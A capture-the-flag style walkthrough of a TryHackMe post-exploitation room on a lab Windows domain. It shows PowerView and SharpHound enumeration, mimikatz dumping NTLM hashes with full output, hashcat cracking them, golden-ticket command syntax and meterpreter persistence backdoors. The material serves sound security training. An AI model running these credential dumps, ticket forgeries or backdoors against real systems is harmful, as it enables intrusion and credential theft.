Type: Walkthrough
Difficulty: Easy
Tags: Linux
Meta Tags: Walkthrough, Walk-through, Write-up, Writeup
Subscription type: Free
Description:
Learn the basics of post-exploitation and maintaining access with mimikatz, bloodhound,
powerview and msfvenom.
Room link: https://tryhackme.com/room/postexploit
This room will cover all of the basics of post-exploitation; we'll talk everything from post-exploitation enumeration with powerview and bloodhound, dumping hashes and golden ticket attacks with mimikatz, basic information gathering using windows server tools and logs, and then we will wrap up this room talking about the basics of maintaining access with the persistence metaploit module and creating a backdoor into the machine to get an instant meterpreter shell if the system is ever shutdown or reset.
This room will be related to very real world applications and will most likely not help with any ctfs. However this room will give you great starting knowledge of how to approach a network after you have gained a shell on a machine.
To start this room deploy the machine and start the next section on enumerating with powerview.
This Machine can take up to 10 minutes to boot
and up to 10 minutes to ssh or rdp into the machine.
To start this room you will need to RDP or SSH into the machine, your credentials are:
- Your machine IP is
10.64.172.5 - Username:
Administrator - Password:
P@$$W0rd - Domain Name:
CONTROLLER
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Post-Exploitation_Basics]
└─$ xfreerdp /v:$TARGET_IP /cert:ignore /u:Administrator /p:'P@$$W0rd' /h:1024 /w:1500 +clipboard
[15:21:40:699] [650106:650107] [INFO][com.freerdp.gdi] - Local framebuffer format PIXEL_FORMAT_BGRX32
[15:21:40:699] [650106:650107] [INFO][com.freerdp.gdi] - Remote framebuffer format PIXEL_FORMAT_BGRA32
[15:21:40:824] [650106:650107] [INFO][com.freerdp.channels.rdpsnd.client] - [static] Loaded fake backend for rdpsnd
[15:21:40:824] [650106:650107] [INFO][com.freerdp.channels.drdynvc.client] - Loading Dynamic Virtual Channel rdpgfx
<---snip--->Powerview is a powerful powershell script from powershell empire that can be used for enumerating a domain after you have already gained a shell in the system.
We'll be focusing on how to start up and get users and groups from PowerView.
I have already taken the time and put PowerView on the machine
1.) Start Powershell - powershell -ep bypass -ep bypasses the execution policy of powershell allowing you to easily run scripts
2.) Start PowerView - . .\Downloads\PowerView.ps1
3.) Enumerate the domain users - Get-NetUser | select cn
4.) Enumerate the domain groups - Get-NetGroup -GroupName *admin*
Now enumerate the domain further on your own
Here's a cheatsheet to help you with commands: https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
Cheatsheet Credit: HarmJ0y
Launch an elevated PowerShell window to run the following commands.
Hint: Invoke-ShareFinder
PS C:\Users\Administrator> powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator> . .\Downloads\PowerView.ps1
PS C:\Users\Administrator> Invoke-ShareFinder
\\Domain-Controller.CONTROLLER.local\ADMIN$ - Remote Admin
\\Domain-Controller.CONTROLLER.local\C$ - Default share
\\Domain-Controller.CONTROLLER.local\IPC$ - Remote IPC
\\Domain-Controller.CONTROLLER.local\NETLOGON - Logon server share
\\Domain-Controller.CONTROLLER.local\Share -
\\Domain-Controller.CONTROLLER.local\SYSVOL - Logon server share
PS C:\Users\Administrator>Answer: Share
Hint: Get-NetComputer -fulldata | select operatingsystem
PS C:\Users\Administrator> Get-NetComputer -fulldata | select cn, operatingsystem
cn operatingsystem
-- ---------------
DOMAIN-CONTROLL Windows Server 2019 Standard
DESKTOP-2 Windows 10 Enterprise Evaluation
DESKTOP-1 Windows 10 Enterprise Evaluation
PS C:\Users\Administrator>Answer: Windows 10 Enterprise Evaluation
I've hidden a flag inside of the users find it
PS C:\Users\Administrator> Get-NetUser | select cn
cn
--
Administrator
Guest
krbtgt
Machine-1
Admin2
Machine-2
SQL Service
POST{<REDACTED>}
sshd
PS C:\Users\Administrator>Answer: POST{<REDACTED>}
Bloodhound is a graphical interface that allows you to visually map out the network. This tool along with SharpHound which similar to PowerView takes the user, groups, trusts etc. of the network and collects them into .json files to be used inside of Bloodhound.
Well be focusing on how to collect the .json files and how to import them into Bloodhound
I have already taken the time to put SharpHound onto the machine
apt-get install bloodhoundneo4j console- default credentials -> neo4j:neo4j
1.) powershell -ep bypass same as with PowerView
2.) . .\Downloads\SharpHound.ps1
3.) Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip
4.) Transfer the loot.zip folder to your Attacker Machine
Note: you can use scp to transfer the file if you’re using ssh
1.) bloodhound Run this on your attacker machine not the victim machine
2.) Sign In using the same credentials you set with Neo4j
3.) Inside of Bloodhound search for the Import Graph icon (see below) and import the loot.zip folder
Note: On some versions of BloodHound the import button does not work to get around this simply drag and drop the loot.zip folder into Bloodhound to import the .json files
4.) To view the graphed network open the menu and select queries this will give you a list of pre-compiled queries to choose from.
The queries can be as simple as find all domain admins -
Or as complicated as shortest path to high value targets -
There are plenty of queries to choose from and enumerate connections inside of the network
Run the SharpHound collector on the target machine
PS C:\Users\Administrator> cd .\Desktop\
PS C:\Users\Administrator\Desktop> . ..\Downloads\SharpHound.ps1
PS C:\Users\Administrator\Desktop> Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip
----------------------------------------------
Initializing SharpHound at 7:18 AM on 2/7/2026
----------------------------------------------
Resolved Collection Methods: Group, Sessions, LoggedOn, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container
[+] Creating Schema map for domain CONTROLLER.LOCAL using path CN=Schema,CN=Configuration,DC=CONTROLLER,DC=LOCAL
[+] Cache File Found! Loaded 104 Objects in cache
PS C:\Users\Administrator\Desktop> [+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 132 MB RAM
Status: 66 objects finished (+66 66)/s -- Using 133 MB RAM
Enumeration finished in 00:00:01.8303005
Compressing data to C:\Users\Administrator\Desktop\20260207071858_loot.zip
You can upload this file directly to the UI
SharpHound Enumeration Completed at 7:19 AM on 2/7/2026! Happy Graphing!Then we transfer the loot file to our Kali machine
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Post-Exploitation_Basics]
└─$ export TARGET_IP=10.64.172.5
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Post-Exploitation_Basics]
└─$ scp Administrator@$TARGET_IP:Desktop/*.zip .
The authenticity of host '10.64.172.5 (10.64.172.5)' can't be established.
ED25519 key fingerprint is SHA256:WGyVsv2zGcSJEHIwp99EmFf5p6Q49BhKyHfmoVOGCAg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.64.172.5' (ED25519) to the list of known hosts.
Administrator@10.64.172.5's password:
20260207071858_loot.zip 100% 9537 41.3KB/s 00:00 Next, we start the Neo4j database
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Post-Exploitation_Basics]
└─$ sudo neo4j start
[sudo] password for kali:
Directories in use:
home: /usr/share/neo4j
config: /usr/share/neo4j/conf
logs: /etc/neo4j/logs
plugins: /usr/share/neo4j/plugins
import: /usr/share/neo4j/import
data: /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses: /usr/share/neo4j/licenses
run: /var/lib/neo4j/run
Starting Neo4j.
Started neo4j (pid:681289). It is available at http://localhost:7474
There may be a short delay until the server is ready.Followed by BloodHound
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Post-Exploitation_Basics]
└─$ bloodhound
(node:681999) electron: The default of contextIsolation is deprecated and will be changing from false to true in a future release of Electron. See https://github.com/electron/electron/issues/23506 for more information
(node:682046) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead.
<---snip--->However, importing the file the file showed a BAD JSON FILE error
Probable due to a mismatch between the collector and bloodhound.
Let's download the latest version of SharpHound instead
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Post-Exploitation_Basics]
└─$ wget https://github.com/SpecterOps/SharpHound/releases/download/v2.9.0/SharpHound_v2.9.0_windows_x86.zip
--2026-02-07 16:37:30-- https://github.com/SpecterOps/SharpHound/releases/download/v2.9.0/SharpHound_v2.9.0_windows_x86.zip
Resolving github.com (github.com)... 4.225.11.194
Connecting to github.com (github.com)|4.225.11.194|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://release-assets.githubusercontent.com/github-production-release-asset/385323486/73a601e2-bbd1-4a4b-9a81-546231194221?sp=r&sv=2018-11-09&sr=b&spr=https&se=2026-02-07T16%3A21%3A12Z&rscd=attachment%3B+filename%3DSharpHound_v2.9.0_windows_x86.zip&rsct=application%2Foctet-stream&skoid=96c2d410-5711-43a1-aedd-ab1947aa7ab0&sktid=398a6654-997b-47e9-b12b-9515b896b4de&skt=2026-02-07T15%3A21%3A04Z&ske=2026-02-07T16%3A21%3A12Z&sks=b&skv=2018-11-09&sig=x2huxP8NvBICy9PPtsRLc%2B0oUtTxdBwFF7ekvy1efKI%3D&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmVsZWFzZS1hc3NldHMuZ2l0aHVidXNlcmNvbnRlbnQuY29tIiwia2V5Ijoia2V5MSIsImV4cCI6MTc3MDQ3ODk0OSwibmJmIjoxNzcwNDc4NjQ5LCJwYXRoIjoicmVsZWFzZWFzc2V0cHJvZHVjdGlvbi5ibG9iLmNvcmUud2luZG93cy5uZXQifQ.Ykd4eXUXPDpOYUjIHBPBAcDKnjCSlrbHRr1fKp3ccUQ&response-content-disposition=attachment%3B%20filename%3DSharpHound_v2.9.0_windows_x86.zip&response-content-type=application%2Foctet-stream [following]
--2026-02-07 16:37:30-- https://release-assets.githubusercontent.com/github-production-release-asset/385323486/73a601e2-bbd1-4a4b-9a81-546231194221?sp=r&sv=2018-11-09&sr=b&spr=https&se=2026-02-07T16%3A21%3A12Z&rscd=attachment%3B+filename%3DSharpHound_v2.9.0_windows_x86.zip&rsct=application%2Foctet-stream&skoid=96c2d410-5711-43a1-aedd-ab1947aa7ab0&sktid=398a6654-997b-47e9-b12b-9515b896b4de&skt=2026-02-07T15%3A21%3A04Z&ske=2026-02-07T16%3A21%3A12Z&sks=b&skv=2018-11-09&sig=x2huxP8NvBICy9PPtsRLc%2B0oUtTxdBwFF7ekvy1efKI%3D&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmVsZWFzZS1hc3NldHMuZ2l0aHVidXNlcmNvbnRlbnQuY29tIiwia2V5Ijoia2V5MSIsImV4cCI6MTc3MDQ3ODk0OSwibmJmIjoxNzcwNDc4NjQ5LCJwYXRoIjoicmVsZWFzZWFzc2V0cHJvZHVjdGlvbi5ibG9iLmNvcmUud2luZG93cy5uZXQifQ.Ykd4eXUXPDpOYUjIHBPBAcDKnjCSlrbHRr1fKp3ccUQ&response-content-disposition=attachment%3B%20filename%3DSharpHound_v2.9.0_windows_x86.zip&response-content-type=application%2Foctet-stream
Resolving release-assets.githubusercontent.com (release-assets.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to release-assets.githubusercontent.com (release-assets.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2465361 (2.4M) [application/octet-stream]
Saving to: ‘SharpHound_v2.9.0_windows_x86.zip’
SharpHound_v2.9.0_windows_x86.zip 100%[================================================================================================================>] 2.35M 13.3MB/s in 0.2s
2026-02-07 16:37:30 (13.3 MB/s) - ‘SharpHound_v2.9.0_windows_x86.zip’ saved [2465361/2465361]
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Post-Exploitation_Basics]
└─$ unzip SharpHound_v2.9.0_windows_x86.zip
Archive: SharpHound_v2.9.0_windows_x86.zip
inflating: SharpHound.exe
inflating: SharpHound.exe.config
inflating: SharpHound.pdb
inflating: SharpHound.ps1
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Post-Exploitation_Basics]
└─$ We transfer the EXE-file with scp to the target
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Post-Exploitation_Basics]
└─$ export TARGET_IP=10.64.172.5
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Post-Exploitation_Basics]
└─$ scp SharpHound.exe Administrator@$TARGET_IP:Desktop/
Administrator@10.64.172.5's password:
SharpHound.exe 100% 1288KB 1.3MB/s 00:00
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Post-Exploitation_Basics]
└─$ And run it
PS C:\Users\Administrator\Desktop> .\SharpHound.exe
2026-02-07T07:40:45.5875653-08:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2026-02-07T07:40:45.6188247-08:00|INFORMATION|SharpHound Version: 2.9.0.0
2026-02-07T07:40:45.6188247-08:00|INFORMATION|SharpHound Common Version: 4.5.2.0
2026-02-07T07:40:45.7284084-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, CertServices, LdapServices, WebClientService, SmbInfo
2026-02-07T07:40:45.7751370-08:00|INFORMATION|Initializing SharpHound at 7:40 AM on 2/7/2026
2026-02-07T07:40:45.8222073-08:00|INFORMATION|Resolved current domain to CONTROLLER.local
2026-02-07T07:41:01.1504673-08:00|INFORMATION|Loaded cache with stats: 0 ID to type mappings.
0 name to SID mappings.
0 machine sid mappings.
0 sid to domain mappings.
0 global catalog mappings.
2026-02-07T07:41:01.1813284-08:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, CertServices, LdapServices, WebClientService, SmbInfo
2026-02-07T07:41:01.2907046-08:00|INFORMATION|Beginning LDAP search for CONTROLLER.local
2026-02-07T07:41:01.3063235-08:00|INFORMATION|Collecting AdminSDHolder data for CONTROLLER.local
2026-02-07T07:41:01.3848843-08:00|INFORMATION|AdminSDHolder ACL hash A752D6A95D7434D4D414F438D41C46AB3A23E2E8 calculated for CONTROLLER.local.
2026-02-07T07:41:01.5411391-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:01.5411391-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:01.6188225-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:01.5563277-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:01.6969465-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:01.7283983-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:01.7283983-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:01.7594557-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:01.7594557-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:01.7753775-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:01.7906933-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:01.8069807-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:01.8222717-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.3375798-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.3692336-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.3850210-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.5879917-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.6188214-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.5879917-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.6188214-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.6188214-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.6188214-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.6346919-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.6502650-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.6657009-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.6657009-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.6813227-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.7125731-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.7125731-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.7282031-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.7597082-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.7597082-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.7755543-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.8067222-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.8067222-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.8223217-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.8223217-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.8531923-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.9002596-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.8691401-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.9625682-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:02.9625682-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:03.0100640-08:00|INFORMATION|Beginning LDAP search for CONTROLLER.local Configuration NC
2026-02-07T07:41:03.5720739-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:03.6500696-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:03.5720739-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:03.5720739-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:03.5720739-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:03.6657028-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:03.6969371-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:03.6969371-08:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for CONTROLLER.LOCAL
2026-02-07T07:41:07.6191501-08:00|INFORMATION|Producer has finished, closing LDAP channel
2026-02-07T07:41:07.6658805-08:00|INFORMATION|LDAP channel closed, waiting for consumers
2026-02-07T07:41:12.3538823-08:00|INFORMATION|Consumers finished, closing output channel
2026-02-07T07:41:12.3692825-08:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2026-02-07T07:41:12.6033364-08:00|INFORMATION|Status: 348 objects finished (+348 31.63636)/s -- Using 71 MB RAM
2026-02-07T07:41:12.6033364-08:00|INFORMATION|Enumeration finished in 00:00:11.3235386
2026-02-07T07:41:12.7282029-08:00|INFORMATION|Saving cache with stats: 20 ID to type mappings.
1 name to SID mappings.
1 machine sid mappings.
4 sid to domain mappings.
0 global catalog mappings.
2026-02-07T07:41:12.7440789-08:00|INFORMATION|SharpHound Enumeration Completed at 7:41 AM on 2/7/2026! Happy Graphing!
PS C:\Users\Administrator\Desktop>Now we delete the old loot file and transfer the new loot file to Kali
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Post-Exploitation_Basics]
└─$ rm 20260207071858_loot.zip
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Post-Exploitation_Basics]
└─$ scp Administrator@$TARGET_IP:Desktop/*.zip .
Administrator@10.64.172.5's password:
20260207074104_BloodHound.zip 100% 38KB 82.0KB/s 00:00 We do a new try to import the loot file. This time it works!
Answer: SQLSERVICE
Hint: Use "list all kerberoastable accounts"
We search the BloodHound Query Library for list all kerberoastable accounts but that only return one user.
But in the blog post Expanding the Hound: Introducing Plaintext Field to Compromised Accounts we find a Cypher query that works:
Answer: SQLSERVICE, KRBTGT
Mimikatz is a very popular and powerful post-exploitation tool mainly used for dumping user credentials inside of a active directory network
We'll be focusing on dumping the NTLM hashes with mimikatz and then cracking those hashes using hashcat
I have already taken the time to put mimikatz on the machine
1.) cd Downloads && mimikatz.exe this will cd into the directory that mimikatz is kept as well as run the mimikatz binary
2.) privilege::debug ensure that the output is "Privilege '20' ok" - This ensures that you're running mimikatz as an administrator; if you don't run mimikatz as an administrator, mimikatz will not run properly
3.) lsadump::lsa /patch Dump those hashes!
1.) hashcat -m 1000 <hash> rockyou.txt
Mimikatz has many uses along side being a great tool to dump hashes we will cover another one of those ways of using mimikatz in the next task by creating a golden ticket with mimikatz
We extract the hashes with Mimikatz
PS C:\Users\Administrator\Desktop> cd ..\Downloads\
PS C:\Users\Administrator\Downloads> .\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #18362 May 2 2020 16:23:51
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # lsadump::lsa /patch
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166
RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 2777b7fec870e04dda00cd7260f7bee6
RID : 000001f5 (501)
User : Guest
LM :
NTLM :
RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 5508500012cc005cf7082a9a89ebdfdf
RID : 0000044f (1103)
User : Machine1
LM :
NTLM : 64f12cddaa88057e06a81b54e73b949b
RID : 00000451 (1105)
User : Admin2
LM :
NTLM : 2b576acbe6bcfda7294d6bd18041b8fe
RID : 00000452 (1106)
User : Machine2
LM :
NTLM : c39f2beb3d2ec06a62cb887fb391dee0
RID : 00000453 (1107)
User : SQLService
LM :
NTLM : f4ab68f27303bcb4024650d8fc5f973a
RID : 00000454 (1108)
User : POST
LM :
NTLM : c4b0e1b10c7ce2c4723b4e2407ef81a2
RID : 00000457 (1111)
User : sshd
LM :
NTLM : 2777b7fec870e04dda00cd7260f7bee6
RID : 000003e8 (1000)
User : DOMAIN-CONTROLL$
LM :
NTLM : 5babd8438316c97857d7528f870addb8
RID : 00000455 (1109)
User : DESKTOP-2$
LM :
NTLM : 3c2d4759eb9884d7a935fe71a8e0f54c
RID : 00000456 (1110)
User : DESKTOP-1$
LM :
NTLM : 7d33346eeb11a4f12a6c201faaa0d89a
mimikatz #And then crack the hash with hashcat
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Post-Exploitation_Basics]
└─$ hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz, 2913/5890 MB (1024 MB allocatable), 8MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 2 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
64f12cddaa88057e06a81b54e73b949b:Password1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: 64f12cddaa88057e06a81b54e73b949b
Time.Started.....: Sat Feb 7 17:40:15 2026 (0 secs)
Time.Estimated...: Sat Feb 7 17:40:15 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1795.3 kH/s (0.20ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4096/14344385 (0.03%)
Rejected.........: 0/4096 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> oooooo
Hardware.Mon.#1..: Util: 15%
Started: Sat Feb 7 17:40:14 2026
Stopped: Sat Feb 7 17:40:17 2026Answer: Password1
See output above.
Answer: c39f2beb3d2ec06a62cb887fb391dee0
Again using the same tool as the previous task; however, this time we'll be using it to create a golden ticket.
We will first dump the hash and sid of the krbtgt user then create a golden ticket and use that golden ticket to open up a new command prompt allowing us to access any machine on the network.
I have already taken the time to put mimikatz on the machine.
1.) cd downloads && mimikatz.exe
2.) privilege::debug ensure this outputs [privilege "20" ok]
3.) lsadump::lsa /inject /name:krbtgt
This dumps the hash and security identifier of the Kerberos Ticket Granting Ticket account allowing you to create a golden ticket
Take note of what is outlined in red you'll need it to create the golden ticket
1.) kerberos::golden /user: /domain: /sid: /krbtgt: /id:
1.) misc::cmd - This will open a new command prompt with elevated privileges to all machines
2.) Access other Machines! - You will now have another command prompt with access to all other machines on the network
Unfortunately because tryhackme does not currently support networks you will be unable to access other machines however I encourage you to add other machines to this domain controller yourself and try out these attacks
Because servers are hardly ever logged on unless its for maintenance this gives you an easy way for enumeration only using the built in windows features such as the server manager. If you already have domain admin you have a lot of access to the server manager in order to change trusts, add or remove users, look at groups, this can be an entry point to find other users with other sensitive information on their machines or find other users on the domain network with access to other networks in order to pivot to another network and continue your testing.
The only way to access the server manager is to rdp into the server and access the server over an rdp connection
We'll only be going over the basics such as looking at users, groups, and trusts however there are a lot of other mischief that you can get your hands on in terms of enumerating with the server manager
This can also be a way of easily identifying what kind of firewall the network is using if you have not already enumerated it.
Your machine IP is 10.64.172.5
Username: Administrator
Password: P@$$W0rd
Domain Name: CONTROLLER
This is what Windows Server Manager will look when you first open it up the main tabs that will be most interesting are the tools and manage tabs the tools tab is where you will find most of your information such as users, groups, trusts, computers. The manage tab will allow you to add roles and features however this will probably get picked up by a systems admin relatively quick.
Dont worry about the AD CS, AD DS, DNS, or File and Storage Services these are setup for exploitation of the active directory and dont have much use for post-exploitation
Navigate to the tools tab and select the Active Directory Users and Computers
This will pull up a list of all users on the domain as well as some other useful tabs to use such as groups and computers
Some sys admins dont realize that you as an attacker can see the descriptions of user accounts so they may set the service accounts passwords inside of the description look into the description and find what the SQL Service password is
Answer: Event Viewer
Hint: Look in the Descriptions
Answer: MYpassword123#
There are a quite a few ways to maintain access on a machine or network we will be covering a fairly simple way of maintaining access by first setting up a meterpreter shell and then using the persistence metasploit module allowing us to create a backdoor service in the system that will give us an instant meterpreter shell if the machine is ever shutdown or reset.
There are also other ways of maintaining access such as advanced backdoors and rootkits however those are out of scope for this room.
This will require a little more manual setup than the other tasks so it is recommended to have previous knowledge of msfvenom and metasploit.
